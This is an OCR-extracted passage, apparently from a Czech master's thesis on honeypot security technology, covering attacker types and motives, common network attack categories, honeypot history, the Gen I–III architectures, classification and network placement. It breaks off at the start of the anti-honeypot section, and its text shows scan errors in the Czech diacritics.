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Bezpecnostni technologie: Honeypot

Souhrn

Prace se zabyva bezpecnostni technologii honeypott, kterd miize mit bezpecnostni
nebo vyzkumny charakter. Predstavujeme zde historicky uvod do této technologie,
genericky model honeypotu a generace, které na tento model navazuji a jsou oznaCovany
jako Genl, Genll a Genlll. Déale seznamujeme Ctenafe s dneSnimi sitovymi hrozbami a
motivacemi uto¢nikd. Nazorné prezentujeme rozdéleni honeypoti do kategorii a nejcastéjsi
zastupce téchto kategorii. V pozdé&jsich kapitolach si piedstavime slabiny implementaci
honeypotti vedouci K jejich odhaleni a zavérem prace také implementaci tfi zafizeni
Dionaea, Kippo a Glastopf.

Prakticka Cast se zabyva implementaci v siti internetu a analyzou zdznami
ziskanych z téchto zatizeni. Posledni ¢ast prace obsahuje zakladni doporuceni pro obranu
a zaver.

Kli¢ova slova: honeypot, Glastopf, Dionaea, bezpecnost, malware, itok, analyza

Security technology: Honeypot

Summary

The aim of the document is to present the security technology of the honeypots that
plays the security part as well as the research part. Firstly the history of the technology
is described together with the generic model of honeypot and generations that follow with
the marking as Genl, Genll and Genlll. Further the reader is informed about the current
network threats and the motivation of the attackers. The classification of honeypots
is cleary shown providing the common representatives of the described categories. In other
chapters the weaknesses of the honeypots implementation are introduced that lead to their
revealing. At the end the implementation of the tree honeypots of Dionaea, Kippo and
Glastopf is presented.

The practical part of the document is focused on the implementation of the
honeypots in a network and on analysis of records received by deployment of such
honeypots. The final part of the document deals with the recommendations for a protection
and a closing part.

Key words: honeypot, Glastopf, Dionaea, security, malware, attack, analysis



1 Uvod

Bezpeénost IT systémil je v dnesni dobé velmi diskutované a rizikové téma. Utok
na informacni systémy za ucCelem zisku informaci nebo poskozeni dobrého jména
spole¢nosti je dnesni motivaci utocnikd. Pokud se chceme u¢inné branit, je nutné védeét
co nejvice informaci o metodéach, motivaci a cilech uto¢nika. Nejvice informaci zjistime
tehdy, pokud uto¢niky naldkame a pozorujeme je pii praci. Abychom mohli kohokoliv
naldkat, musime ho zaujmout vhodnou ndvnadou, o kterou bude mit zjem. V bezpe¢nostni
sféfe a siti internetu jsou nasi navnadou data. Maji podobu citlivych informaci, jako jsou
hesla, dulezité zprava a analyzy, Spatn¢ zabezpecené servery a aplikace. Timto vzbudime u
uto¢nika zdjem o data, ale také musime dat pozor, aby nebyl prozrazen nas imysl sledovat
jeho ¢innost. Tak jako se snazi uto¢nik skryt v siti nebo na serveru, tak tvirce honeypotu
deéla vse pro to, aby si utocnik myslel, Ze je na redlném produkénim prostiedi, kde jsou
citliva data.

Cim vice budeme simulovat realnost prostiedi, tim vice informaci ziskame
o Uto¢nikovi. Vie ma vsak dvé strany mince. Cim vice budeme simulovat realnost
prostiedi a tézit informace o tocnikovi, tim slozitéj$i bude konfigurace nasi pasti a vetsi
rizikovost. Pokud chceme vice informaci o Gto¢nikovi, musime mu umoznit vétsi interakci
s prostiedim a ¢im vice nastroji a moznosti mu dame, tim se zvySuje riziko prolomeni nasi
pasti a vyuziti ji proti nAm. V dne$ni dob¢ jsou v bezpec¢nostni komunité jakakoliv data a
Z nich ziskané znalosti o UtoCnicich a utoky vyvazeny zlatem. Honeypot nam poskytuje
nahlédnuti do mysli, zkuSenosti a technik uto¢nika. Dikladnou analyzou se poté¢ mizeme

piipravit na téméf vSechny hrozby.



2 Cil prace a metodika

Hlavnim cilem diplomové préce je charakterizace technologii Honeypotu

Vv pievazné v linuxovém prostiedi a konfiguraci v siti.

Dil¢i cile diplomové prace jsou:

- Historie honeypott

- Motivace uto¢niki

- Koncept a popis technologie Honeypotu
- Zapojeni a konfigurace v siti

- Analyza zaznamt

Teoretickd ¢ast diplomova prace byla vypracovana na zakladé prostudované
literatury, kterd je uvedena v seznamu pouzitych zdroji a konzultaci se sitovymi
specialisty. Jednalo se pfedevSim o generalizaci honeypoti, jejich klasifikaci a mozna
slaba mista.

Prakticka cast je vypracovdna na zakladé zapojeni honeypotu do sité internet
v obdobi 6 mésict, od fijna 2015 do biezna 2016. K analyze jsou vyuzivany vysledky ze tii

zatizeni Kippo, Glastopf, Dionaea.



3 Literarni reSerse

3.1 Bezpecnostni hrozby

Utoénici se mohou délit do dvou skupin na vnéjsi a vnitini
(Russell & Gangemi, 1993). Toto rozdéleni znamena schopnost Gitoku a hrozby pro

organizaci z vngjsi sit¢ internetu nebo vnitini sité intranetu.

3.1.1 Druhy uto¢nikt

Obrazek ¢. 1-Druhy uto¢niki
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Zdroj: (Han & Dongre, 2014), vlastni zpracovani

3.1.1.1 Script Kiddies

Tento fenomén byl velice popularni v letech 1990 az 2000. Timto oznacenim se
nazyva utocnik, ktery nemd piili§ velké zkuSenosti s opera¢nimi systémy a ndstroji
potiebnym K prinikim do sité. Vétsinou vyuziva dostupné automatické nastroje

a zanechédva za sebou viditelné stopy priniku.



3.1.1.2 Black Hats

Jedna se o zkuSené uto¢niky, ktefi netitoci v globdlnim métitku, ale specializuji se
na utoky vii¢i jednomu konkrétnimu cili. Pouzivaji specidlni vlastnosti nastroji nebo si
vytvareji vlastni. Pouzivaji sofistikované metody utokd a nemusi atocit piimo
na cil, ale také na slabé ¢lanky, které vyuziji poté K praniku. V systému se chovaji

nendpadné a snazi se maskovat svoji ptitomnost.

3.1.1.3 White Hats

Timto terminem jsou vétSinou oznaCovani bezpelnostni experti, ktefi se snaZzi
dostat do systému nebo sité za ucelem penetra¢niho testovani, hledani bezpe¢nostnich
hrozeb a slabych mist. Jedna se o piimy protiklad ,,Black Hats*“. Testovani vétSinou

predchazi pisemna smlouva.

3.1.1.4 Hacktivists

Haktivisté jsou lidé, ktefi pfevazné protestuji proti jakékoliv politické moci,
nabozenské spole¢nosti nebo korporacim a tyranii. Chtéji publicitu a o utoku informu;ji

na veiejn¢ dostupnych sitich jako je Youtube nebo Twitter.

3.1.1.5 Vnitini hrozba

Jedna se o ,,insidera®, vétSinou o nespokojené zaméstnance, dodavatele nebo osobu,
kterou najaly jiné organizace pro prunik a ziskani dulezitych dat. V mnoha pfipadech je
takovyto Gto¢nik oby¢ejny zaméstnanec, Ktery z divodu nedodrzeni bezpeénostni politiky
a vlivem socialniho inzenyrstvi udéla chyby, které vedou ke kompromitovani firemni sité.

Cilem jsou jakékoliv organizace, spole¢nosti nebo vlady.

3.1.1.6 Grey Hats

Jsou kombinaci White a Black Hats. Mohou vyhledavat zranitelné systémy,

proniknout do nich a majiteliim nabidnout pomoc a feSeni, samoziejmé za urcitou cenu.

3.1.1.7 Vulnerability Brokers

Jedna se o bezpe¢nostni tymy nebo jednotlivce, ktefi hledaji chyby nulového dne

vV softwaru nebo syst¢ému a mohou nalezenou chybu oznamit dodavateli za penéZni



poplatek. V bezpecnostni komunité se jedna o legitimni podnikani, které vyuzivaji také

velké korporace jako je Google nebo Apple.

3.1.1.8 Narodni zajem

Je jednim z nejcitlivéjSich témat v dneSni moderni dobé. Jsou to staitem
sponzorovani uto¢nici, ktefi se snazi o prinik do systému korporaci, teroristickych siti
nebo infrastruktury jiné vlady, za Gcelem ziskani divérnych dokumenti nebo sabotaze.
V dnesni dobé€ tyto utoky ziskaly na oblibé pied utoky pozemnimi. Valka se ptestéhovala

na internet.

3.1.2 Motivace uto¢niku

Je nutné pochopit motivaci uto¢niki, protoze kyberneticka rizika predstavuji jedny
z nejvaznéjSich ekonomickych a bezpecnostnich hrozeb 21. Stoleti.(White House, 2009)
Z grafu nize muzeme vidét podil motivace v pozadi atokd v letech 2014 a 2015.

Kategorizace uto¢nikil na obrazku ¢. 1. nam 1épe pomutize pochopit motivace nize.

Graf ¢. 1-Motivace uto¢niku
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Zdroj: http://www.hackmageddon.com/2016/01/11/2015-cyber-attacks-statistics/



Obrazek ¢. 2-Druhy motivaci
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Zdroj: (Han & Dongre, 2014), vlastni zpracovani
Neumyslna motivace je chybou vnitini, kdy zaméstnanec vlivem své nepozornosti
stahne nebezpecny nebo Skodlivy soubor a infikuje sviij pocitac nebo celou sit’.
Zaslepenost je zplisobena zaméstnanci nebo uto¢niky z vnéjsi sité a jedna se
o necinnost v jakékoliv situaci, kdy neméme spravné znalosti, nastroje nebo pfistupnost
k vhodné osobé& pro u¢inéni opatieni.
Umyslné akce jsou ¢inény zaméstnanci i utoéniky ze sité internet nebo vnitini sité

intranet a maji za cil Skodit. Lze je délit:
3.1.2.1 Politické motivace

Politické motivace mohou obsahovat poSkozovani, ni¢eni nebo ziskani kontroly nad
cilem a jeho politizaci.
3.1.2.2 Ekonomické motivace

Obsahuje kradeZ intelektualniho vlastnictvi pro ekonomické ¢i jiné ucely, riizné
druhy podvodi nebo poskozeni vyroby.
3.1.2.3 Socio-kulturni motivace:

Obsahuje atoky motivované filozofickymi, politickymi nebo ideologickymi cily.

Obsahuje také atoky motivované zabavou nebo snahou se zviditelnit.



3.1.3 Sitové ttoky
Graf ¢. 2-Sitové utoky
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Zdroj: http://www.calyptix.com/top-threats/top-7-network-attack-types-in-2015-
so-far/

3.1.3.1 Denial of Service (DOS), Distributed Denial of Service(DDOS)

Jedna se o utok na infrastrukturu sit¢ s umyslem pietizeni sluzeb a nedostupnosti
pro obyc¢ejného uzivatele. Rozdil mezi Dos a DDos je v po¢tu primarnich ato¢nikd. Pi
Dos utoc¢i jeden pocita¢ a jedna IP adresa v DDos je uto¢nikii velky pocet, napiiklad

botnet.
DDoS tutok miiZe byt rozdélen do trech kategorii:

3.1.3.1.1 Kapacitni utoky

Do této kategorie patii UDP floods, ICMP floods a ostatni Utoky, pfi kterych se
podvrhuji pakety. Cilem Gto¢nikt je zahltit celou §ifi pAsma cilené sité.
3.1.3.1.2 Utok na protokoly

Obsahuje utoky typu SYN flood, Ping of Death, Smurf DDoS nebo fragmentation
packet attacks. Tyto druhy utokd konzumuji zdroje serveru nebo ptidruzenych systémil

jako jsou firewally ¢i load balancery.



3.1.3.1.3 Utok na Aplikaéni vrstvu

Obsahuje Gtoky typu Slowris, Zero-day DDoS nebo utoky DDoS s cilem napadnuti
systému Windows a jeho aplikaci nebo dodate¢nych sluzeb jako je Apache a nasledné

nedostupnosti pro uzivatele.

3.1.4 Utok hrubou silou

Nazyvany téz ,,Brute Force attack®. Jedna se o utok, kdy se snazime pomoci
automatickych nastrojii rozlustit zasifrované heslo. Pouzivaji se pfedem ptipravené

knihovny s hesly, rozsahlé slovniky nebo hashe.

3.1.5 Utok na prohlize¢

Nazyvany téz ,Browser attack®. Jedna se o utok na internetovy prohlize¢ béZného
uzivatele. Infikované stranky mohou donutit uzivatele nainstalovat software, ktery

obsahuje malware nebo je jinak Skodlivy.

3.1.6 Shellshock Utok

Shellshock je bezpeénostni chyba postihujici unixové prostiedi bash shellu.
Nedostatecnou kontrolou proménnych parametra funkci jsou neimysin¢ vykonany

piikazy, které mohou ohrozit bezpecnost zatizeni.

3.1.7 SSL atok

SSL utok uto¢i na data posiland pies kryptované spojeni, UspéSny utok
umoziuje piistup k témto datim. Utoénik klientovi vnuti ¢ast JavaScriptového kodu, diky
némuz je schopen pomoci packet snifferu zachytit a nasledné deSifrovat zabezpecené

soubory cookie, které webova aplikace pouziva k ovéfeni uzivatele.

3.1.8 Zadni vratka

(3

Nazyvany téZ ,Backdoor “. Jednd se o software zanechany uto¢nikem, ktery
umoziuje obejit béZznou autorizaci uZivatele a dovoli neautorizovany piistup k tomuto

pocitaci.



3.1.9 Botnet Utok

Botnet je skupina infikovanych poéitact, které jsou vzdalené fizeny jednim nebo
vice uto¢niky. Jsou soucasti Sedé zony internetu, kdy je lze za velmi malé finan¢ni castky
pronajmout. Pouzivaji se pro Sirokou oblast ptisobnosti utokt. Pomoci nich mohou byt

rozesilany spamy, tvotfeny click-fraud Utoky nebo DDoS Utoky.

3.1.10 Ostatni

Pod ostatnimi technologiemi utoku si miizeme piedstavit naptiklad ,,spoofing”, kdy
uto¢nik vyuzije technologii nebo protokol pro podvrzeni falesné identity. Nejzndm¢jsi jsou
tyto druhy utoka IP Addres spoofing, ARP spoofing (ARP Poisoning), DNS spoofing

(DNS Cache Poisoning) nebo Email spoofing.

3.2 Koncept a popis honeypotu

3.2.1 Popis

Pfi popisu honeypotu budeme vychazet z definice nize.
Honeypot je program, ktery simuluje jednu nebo vice atraktivnich sluzeb, opera¢ni
systém nebo celou sit’, spolu se skutecnosti, ze se jednd o pevné uzavieny systém nebo

prostor tak, aby bylo mozné nalakat uto¢nika. (Joshi & Sardana, 2011)

3.2.2 Historie

ey oo

1960, do vétsiho povédomi vstupuji zaCatkem roku 1990. Za prukopnika a toho, kdo
polozil zaklady honeypotu lze povazovat amerického astronoma Clifford Paul Stoll, ktery
pracoval jako systémovy administrator v Lawrence Berkeley National Laboratory. Stoll
objevil v systému, ktery spravoval neznamého uZzivatele a rozhodl se zjistit, jak se dany
uto¢nik do systému dostal. Aby mohl ziskat co nejvice informaci, Stoll vytvofil falesné
prostiedi. Hlavni mySlenka byla udrZzet uto¢nika pfipojeného a zaméstnaného pro
vysledovani. Nenazyval prostiedi honeypotem, pouze chtél pomoci zaznamenavané
¢innosti a monitoringu ptijit na slaby ¢lanek systému a také objasnit, jak se uto¢nik dostal

dovnitt. Jako prvni literatura o honeypot se oznacuje kniha od stejného autora ,,Cuckoo's
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Egg* v ceském piekladu Kukacc¢i vejce. Druhou klicovou literaturou je publikace od Billa
Cheswicka ,,An Evening with Berferd”, kterd jde jiz do vétSich technickych detaild,
popisuje vytvoieni faleSnych sluzeb, sendmailu a jinych pokrocilych technik. Jednim
z prvnich honeypotu byl Deception Toolkit z roku 1997 pouzivajici unixové prostiedi.
Tento nastroj byl sloZen z nékolika skriptti v programovacim jazyce Perl.

Do roku 1999 existovaly honeypoty bez piesné specifikace a standardd. Lance
Spitzner oddélil honeypot jako samostatnou bezpecnostni oblast a zalozil ,,The Honeynet
Projekt™. Honeynet vytvoftil prvni standardizovany model pro nasazeni, ktery byl znam
jako prvni generace — Genl model. Zaméfoval se na datovou kontrolu a sbér dat.

Na obrazku nize je mozné vidét historii honeypotu a jeho generaci.

Obrazek ¢. 3-Historie honeypotu
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*b NeswWICK-tNn niNg with berie
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¢ Vytvoreni "Honeypot Project" a publikace "Poznej svého nepfitele"

e UzZivani honeypotl pro zachyceni a studium cerva

e Honeypoty jsou pouZivany pro zachyceni a detekci day utoku
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e Honeyd
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4

Zdroj:(Spitzer, 2003), vlastni zpracovani
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3.2.3 Generace

3.2.3.1 Genericky model

Obrazek ¢. 4-Genericky model Honeypotu
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Zdroj:autor

Produk¢ni systém

Nejedna se o skutecny produkéni systém s Kritickymi daty, ale jeho simulaci pro
nalakani uto¢nikdi. Obsahuje faleSné datové soubory a zdroje, navic je zajiSténa

automaticka odpoveéd’ tto¢niktim na Gtoky jako Vv realném produkénim prostiedi.

Firewall

Poskytuji zdznamy o ¢innosti uto¢nika na honeypotu a o tom jak se na honeypot

dostal. Jsou nastaveny tak, Ze zaznamenavaji veskery provoz smérem k honeypotu.

Monitorovaci jednotka

Jedna se o hodnotici jednotku, ktera monitoruje sitové nebo systémové aktivity pro

podezielé ¢i nebezpecné aktivity a vytvaii reporty pro fidici stanici.
Pohotovostni jednotka

Generuje emaily o pfichozim nebo odchozim provozu smérem k a z honeypotu

12



na zakladé vstupti od monitorovaci jednotky a ptesné¢ definovanych pravidlech od

administratora.

Sbérna jednotka

Jednotka provadi ukladani vSech systémovych zaznam, tak i zaznamu z firewalu

a provozu sité na disk.

3.2.3.2 Prvni generace

Prvni generace oznaCovand jako Genl méla jednoduché a zakladni funkce a byla
velmi snadné pro spravu a instalaci.
Architektura prvni generace:

Obrazek ¢. 5- Genl Honeypots
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Zdroj: (Bojan, 2004)

Pro datovou kontrolu v Genl byl pouzit zpétny firewall. Byl velmi jednoduse
nastaven, povoloval témét veskery provoz do sité¢ s honeypotem, ale zaroven zakazoval
jakoukoliv komunikaci ven ze sité. Pravidla na strané firewallu musela byt velmi striktni,
z davodu obavy kompromitace internich systémd. V této architektute se nachazelo i IDS,

které mélo dva hlavni tkoly. Prvnim Ukolem bylo veskeré zachyceni provozu v siti skrz
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firewall a druhym Ukolem byla standardni funkce IDS, tedy zpracovani sitového provozu a

nalezeni skodlivych aktivit a upozornéni administratort.

Utoénik nemél byt schopny zachytit data, které zachytavaly ostatni komponenty,
proto IDS byla vétSinou implementovana na systémech S dudlnimi sitovym interface.
Jedna sitova adresa neméla ptitazenou IP adresu a byla v promiskuitnim médu. Umoznila
odposlouchdvani a zaznam provozu na siti smérem Kk a z honeypotu. Vzhledem k tomu, Ze
nebyla piidélena IP adresa, tak pti kompromitaci uto¢nikem nebylo mozné detekovat IDS.
Ostatni interface byly pfipojeny do odd¢lené, vétSinou produkéni sité, kterd slouzila
k administraci IDS nebo sbéru dat. Pro minimalizaci rizika se pievazné jednalo
0 honeypoty s nizkou mirou interakce. Generace prvnich honeypoti méla nedokonalé
zaznamenavani udalosti. Pokud uto¢nik pouzival Sifrovani nebo jinak skryval svou aktivitu
pted IDS, vznikala neptijemna situace. Bezpe¢nostnim vyzkumnikiim délaly Genl starosti
ze dvou hlavnich divoda. Prvni byla idea, Ze utocnik pouzije kompromitovany honeypot
K praniku hloubé&ji do sité a zauto¢i na jiné systémy. Druhy davod byla nastupujici
popularita Sifrované komunikace, jejimz duasledkem bylo problematické zaznamenavat

uto¢nikovu aktivitu a neupozornit, Ze se nachazi na honeypotu.

3.2.3.3 Druha generace

Vyvoj druhé generace honeypotii oznacované jako Genll zacal v roce 2002 a tézil
ze zkuSenosti z Genl, kde bylo zakomponovano mnoho uprav smérem k vétsi datové
kontrole a monitoringu. Druha generace jiz dovolovala vysokou interakci s Gto¢nikem,
Z tohoto divodu byly velmi striktné implementovany metody datové kontroly.

Architektura druhé generace:
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Obrazek ¢. 6-Genll Honeypot
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Zdroj: (Bojan, 2004)
Hlavni rozdil mezi Genl a Genll je brana, kterd se stala kliCovym elementem
honeynetu. Veskery provoz prochazejici smérem k honeypotu musi projit pies tuto branu,
jednd se tedy o vyborné misto pro implementaci datové kontroly a mechanizmu

Zaznamenavani.

Datova kontrola

vvvvvv

pouze simulace bézicich sluzeb, druha generace nabizela jiz realny opera¢ni systém

s aplikacemi. Pokud byl honeypot kompromitovan, uto¢nik nad nim mél kompletni
kontrolu. Z divodu limitovani tohoto rizika brana obsahuje Intrusion Prevention System
(IPS), ktery obsahuje zéakladni firewall a IDS. Implementace firewallu na druhé sitové
vrstvé jako bridge zafizeni ztizila detekci honeypotu pro Uto¢niky, protoze tento firewall
neménil TTL pakett. Tak jako v prvni generaci byl firewall nastaven na blokovani vétsiho
poctu odchozich spojeni z diivodu zamezeni DoS utokl. IDS systém, ktery byl soucasti
IPS, byl konfigurovan tak, aby ménil nastaveni firewallu z diivodu detekce podezielych
aktivit. Jakmile byla zaznamendna podezield aktivita, IPS dynamicky meénila pravidla
firewallu, budouci pakety stejného typu byly tedy blokovany, ¢imz se zamezilo ohroZeni

ostatnich systémil. VétSina implementaci IDS obsahovala open source projekt Snort.
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Sbér dat

Sbér dat je provadén na riiznych vrstvach z divodu vytézeni maximalniho mnozstvi
informaci.

Prvni vrstva sbéru dat se nachazi na bran¢, kterd je nakonfigurovana tak, aby
zachytavala veSkery provoz z a do honeypotu. Jedna se o stejny princip jako pro Genl.
GenllI jiz ma k dispozici IPS jako branu, ktera nabizi lep§i moZnosti analyzy dat. Jakmile je
zaznamenan novy utok, detektovana signatura Gtoku je zaznamenana na IPS a mize byt jiz
ptisté blokovana na irovni brany.

Druha vrstva sbéru dat se nachdzi v zaznamech firewallu. Tyto z&znamy mohou
poskytnout informace o blokovanych aktivitach (to¢nika. Jakmile je honeypot
kompromitovan, Gto¢nik mezi jinymi vécmi mize pouzit utok DoS na vzdaleny systém.
Tyto zd&znamy mohou ukazat, jaky druh komunikace Gto¢nik navazoval a kde pfesné jeho
cil byl.

Tteti vrstva piedstavuje monitorovani kldves Utocnika. Jedna se o dileZitou

moznost, vzhledem k velkému pouzivani zabezpeceného spojeni SSH.

3.2.3.4 Tteti generace

Tteti generace honeypotli oznacovana jako Genlll, ktera sdili stejnou
architekturu jako generace druha, byla uvedena na konci roku 2004. Jejim hlavnim
zastupcem je Ro0. Zmény jsou piedevsim v pokrocilej$im administraénim rozhrani, lepsi
datové analyze a dokonalej$i spravé automatickych aktualizaci. Tieti generace také
implementovala novy datovy model, ktery je nezavisly na datovém zdroji. Model se sklada
Z hosta, ktery reprezentuje honeypot, procesu, ktery reprezentuje spustény program,

souborl ulozenych na disku a sitové komunikace.

3.2.3.5 Genl, Genll, Genlll

Rozhodnuti zda implementovat prvni, druhou nebo tieti generaci honeypotu, zalezi
predevsim na ucelu, prosttedi a cili. Prvni generace vynika v detekci rychle Sifitelnych
cervi, kdy chceme primarné identifikovat zdroj hrozby. ProtoZe se jedné vétSinou
o simulaci urcité ¢asti, nikoliv zivého systému, je i hrozba ze strany Gto¢nika pii odhaleni

minimalni. Tyto honeypoty také nejsou naro¢né na implementaci ani hardware. Honeypoty

v v
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sit. Tento typ byl vétSinou implementovan jako vyzkumny, protoze dokézal detailné

analyzovat hrozby, nastroje a kroky uto¢nika.

3.2.4 Klasifikace

Honeypoty mohou byt rozdéleny do n€¢kolika kategorii na zdkladé hledisek nize.
Obrazek ¢. 7-Klasifikace Honeypoti

IKIasifikace Honeypotl
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=
=
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Zdroj:autor

3.2.4.1 Interakce

Pod slovem interakce si musime piedstavit mnozstvi aktivit, které chceme dovolit
utocnikovi. Vys§i mozZnost interakce zvySuje pocet informaci, které mize honeypot o typu
Utoku a uto¢niku ziskat. Timto se, ale také zvySuje riziko priniku, protoze ¢im vice

informaci chceme o uto¢nikovi ziskat, tim vice moznosti mu musime nabidnout.

Honeypot s vysokou mirou interakce

Pro uto¢nika se takovyto honeypot tvari jako skuteény operacni systém S cilem
zachytit maximum moznych informaci o uto¢nikové technice. Standartni piikaz nebo
aplikace, kterou utoénik mize o¢ekavat je dostupna. Vétsina téchto systémi mize byt také
umyslné neaktualizovana, aby svymi zranitelnostmi lakala uto¢nika. Jsou k dispozici

v8echny vrstvy OSI modelu a to dovoluje pouziti jakékoliv metodiky k prolomeni se do
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systému. Takovyto druh honeypotu je velmi obtizny na instalaci a konfiguraci, protoze
obsahuje velké mnozstvi nastroji. Jakmile je vSak instalovan miize byt velmi napomocny
k odchyceni nového druhu exploitu, viru, ¢erva nebo zranitelnosti.

Priklady: High Interaction Honeypot Analysis Toolkit (HIHAT), HoneyBow,
Sebek, HonSSH, Honeynets, ManTrap

Honeypot se stfedni mirou interakce

Jedna se 0o kombinaci honeypotu s nizkou a vysokou mirou interakce. Tento typ

implementace samoziejm¢ nedosahuje kvalit vysoké interakce, ale oproti nizké varianté
muze napiiklad obsahovat pln€ implementovany HTTP protokol nebo Apache.
Honeypot poskytuje Uto¢nikovi odpoveéd’, kterou presné oc¢ekava, a tedy ho laka k dalsi
¢innosti. Jakmile se uto¢nik pokusi honeypot infikovat pomoci payloadu ¢&i malware,
systém tento soubor analyzuje a pokusi se simulovat pozitivni odpovéd’. Tyto honeypoty
jsou komplexné strukturovany a potiebuji ¢as pro konfiguraci a znalosti protokoli sité,
aplikaci a sluzeb. Jsou také zraniteIngjsi. VéEtsinou jsou pouzivany jako domaci honeypoty,
pii vhodné konfiguraci mohou byt pouzity i v podnikovych sitich.

Priklady: Kippo, mwcolectd, Multipot, Nepenthes

Honeypot s nizkou mirou interakce

Oproti pfechazejicim variantam emuluji pouze ¢ast funkci, kterou mizete napiiklad
o¢ekavat od serveru, a tedy minimalizuji interakci s uto¢nikem. Jedna se o software nebo
tfeba pouze o skript, ktery emuluje ¢ast operacniho systému nebo sluzby jako je http, smtp
nebo ftp. Protoze nejsou redlnym systémem, mnozstvi ziskanych dat od uto¢nika bude
zalezet na hloubce emulace piislusné sluzby. Jsou jednoduché na instalaci a spravu a ze
vSech tii druhli honeypotu jsou nejméné rizikové.

Ptiklady: Honeyd, Nepenthes, Glastopf, Conpot, Thug, Dionaea
3.2.4.2 Druhy honeypotu

Produk¢éni

Produkéni honeypot je implementovan jako soucast obranné strategie organizace,
kdy pomaha chranit jejich vnitini systémy. Je implementovan tak, ze pomaha detekovat

uto¢niky a eliminovat Utoky na redlné produkéni systémy. Informace posbirané z téchto
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utokd mohou poslouzit k upfesnéni zdroje Utoku a sméru Gtoku, tedy, které ¢asti systému
budou napadeny a jakym zptisobem. Pro produkéni prostiedi se mohou pouzit i honeypoty

s nizkou mirou interakce.

Vyzkumna

Vyzkumné honeypoty jsou navrzeny pro hloubkovou analyzu ttoku a ziskani
maxima informaci o Gto¢nikovi. Tyto informace se vyuzivaji pro ziskani piedstavy nejen o
utoku, ale také o tom, kdo jsou Utocnici, jak jsou organizovani a jaké ndstroje pouzivaji.
Informace nam mohou ziskat pfedstavu o budoucich hrozbach a novych metodéach. Tyto
honeypoty maji minimalni pfidanou hodnotu pro komer¢ni organizace, vétSinou jsou

implementovany univerzitami nebo bezpe€nostnimi spole¢nostmi.

3.2.4.3 Platformy

Platformy popisuji béh na hardwaru nebo softwaru a mohou byt virtualni nebo
fyzické.

Virtualni

Virtualni honeypoty na rozdil od fyzickych mezi sebou sdileji hardware. Jeden
pocita¢ muze hostit nékolik virtudlnich hostl a tedy né€kolik riiznych honeypott. Toto
snizuje naroky na flexibilitu a spravu. Muze se pouzit velka Skala vizualiza¢ni technologie

jako je VMware, VirtualBox, Xen6 a jine.
Ptikladem je Argos.

Fyzicka

Jednd se o operacni systém nebo sluzbu bézici na jednom pevném =zatizeni,

vétsinou patfici do kategorie honeypott s vysokou mirou interakce.

Ptikladem jsou Honeynets.

3.2.4.4 Honeytoken

Honeytoken je honeypot, ktery nereprezentuje realny poéitadovy systém. Casto je
pojem ,token* pouze oznaceni pro ¢ast informace nebo digitalni entitu, ktera nema redlnou
hodnotu. Jsou umistovany do sité jako prvni varujici mechanizmus. Mohou byt umistény

piimo do honeypotii nebo na produkéni systémy. Muze se jednat napiiklad o faleSny
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administratorsky ucet bez prav. Pokud se uto¢nik do néj pokusi proniknout je odeslano
varovani. Dal$im ptipadem je faleSny ucet do databaze. Jakmile je pouzit, tak je to znamka

toho, Ze databaze byla pravdépodobné kompromitovana.

3.2.4.5 Honeynets

Jedna se o kombinaci n¢kolika honeypott s vysokou mirou interakce v siti. Pracuji

spole¢né s centralnim monitoringem, kde se shromazd'uji a vyhodnocuji veskera data.

3.2.4.6 Honeyfarms

Namisto instalace velkého mnozstvi honeypoti do jedné nebo vice siti jsou
instalovany do konsolidované lokace nazyvané ,,honeypot farms*. Jedna se tedy o centralni
sbérné ulozisté a zdroj pro analytické nastroje. Utoénik je pfesmérovan do této farmy na

zakladé predchoziho vyhodnoceni, v jaké ¢asti sité se pohyboval a co za akci délal.

3.2.5 Umisténi v siti

Honeypot Ize v siti umistit do tfech lokalit. Kazdé umisténi ma uréitd omezeni,
predevsim zélezi na tcelu, ke kterému chceme honeypot pouzit.

Obrazek ¢. 8-Umisténi honeypotu v siti
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Zdroj: (Spitzer, 2003)
e Honeypot A-Externi umisténi
e Honeypot C-Interni umisténi

e Honeypot B,D-DMZ (Demilitarizovana zona)
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3.2.5.1 Externi umisténi

Jedné se o umisténi pfimo na internet bez firewallu a jakéhokoliv filtrovani provozu
pro zachyceni maximalnich moznych informaci. Jedna se o nejsnaz§i umisténi v Siti
pouzivané vétSinou pro domaci pouziti s nejvyss§i mirou ohrozeni. Tento druh zapojeni
vyzaduje vetejnou IP adresu. V tomto zapojeni Ize velmi jednoduse fyzicky pozorovat
aktivitu na honeypotu a v piipadé ohrozeni jej jednoduSe odpojit od sité. Umisténi
honeypotu pted firewall redukuje risk vzhledem k interni siti, ale limituje mozZnosti
simulace produk¢nich systémli a generovani zaznamt, které mohou vznikat jen

ve vnittnich sitich.

3.2.5.2 Interni umisténi

Honeypot je skryt za firewall a jeho provoz je filtrovan. Jednd se o nejlepsi
umisténi pro rychlé varovné zpravy, pokud se uto¢nik pokusi prolomit sitové obrany, nebo
zacne Utocit na sit. Pokud Gto¢nik kompromituje honeypot v interni siti, jedna se o velke
riziko. Pokud chceme maximaln€ eliminovat riziko, umistime do sit€ dalSi firewall, znam
jako reverzni firewall na filtrovani odchoziho provozu nebo pouZzijeme honeypot s nizkou
mirou interakce. Vzhledem k tomu, Ze je honeypot umistén za firewallem, musi
se administrator rozhodnout, jaky provoz bude filtrovan smérem k honeypotu.

Jedné se napriklad o volbu specifickych port.

3.2.5.3 DMZ

Umisténi honeypotu do demilitarizované zony je nejlepsi volbou pro bezpe¢nost
korporatni sité. Mizeme ho umistit do samostatné zény, jednim z velkych rizik umisténi
do separatni zény je nemoznost varovani pied kompromitaci interni sité. Umisténi

do spole¢né zony klade zvysené pozadavky na zabezpeceni ostatnich systémd.

3.2.6 Vyhody a nevyhody

+ Pracuji v zabezpe¢eném prostiedi.

+ Sbiraji a zaznamenavaji mensi objemy dat, ale s mnohem vétsi diileZitosti.
+ Nepotiebuji znat ito¢nikovu signaturu jako IDS.

+ Oproti IDS mohou honeypoty zaznamenat nové nebo nestandardni Gtoky

+ Daji se virtualizovat.
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+ Mohou zachytéavat Sifrovany provoz (Sebek).

+ Pracuji s IPv6.

- Mohou byt zneuzity uto¢nikem k priniku do sité nebo 1 jinych systému.

- Mohou monitorovat Gtok pouze sami na sebe, nemonitoruji prinik do jinych
systému v siti.

- Mohou byt zaznamenany uto¢niky.

- Pokud jsou $patné implementovany v Siti, znamenaji dalsi ohroZeni sité.

3.2.7 Anti-honeypot technologie

Honeypoty jsou velmi dobrym zdrojem informaci o uto¢nikovi, jeho metodach
a cili. Mnozstvi ziskanych informaci zalezi na redlnosti prostiedi. Pokud se Gto¢nik dostane
do honeypotu a zjisti, ze se nenachazi na skutecném zatizeni, mize se pokusit zahladit
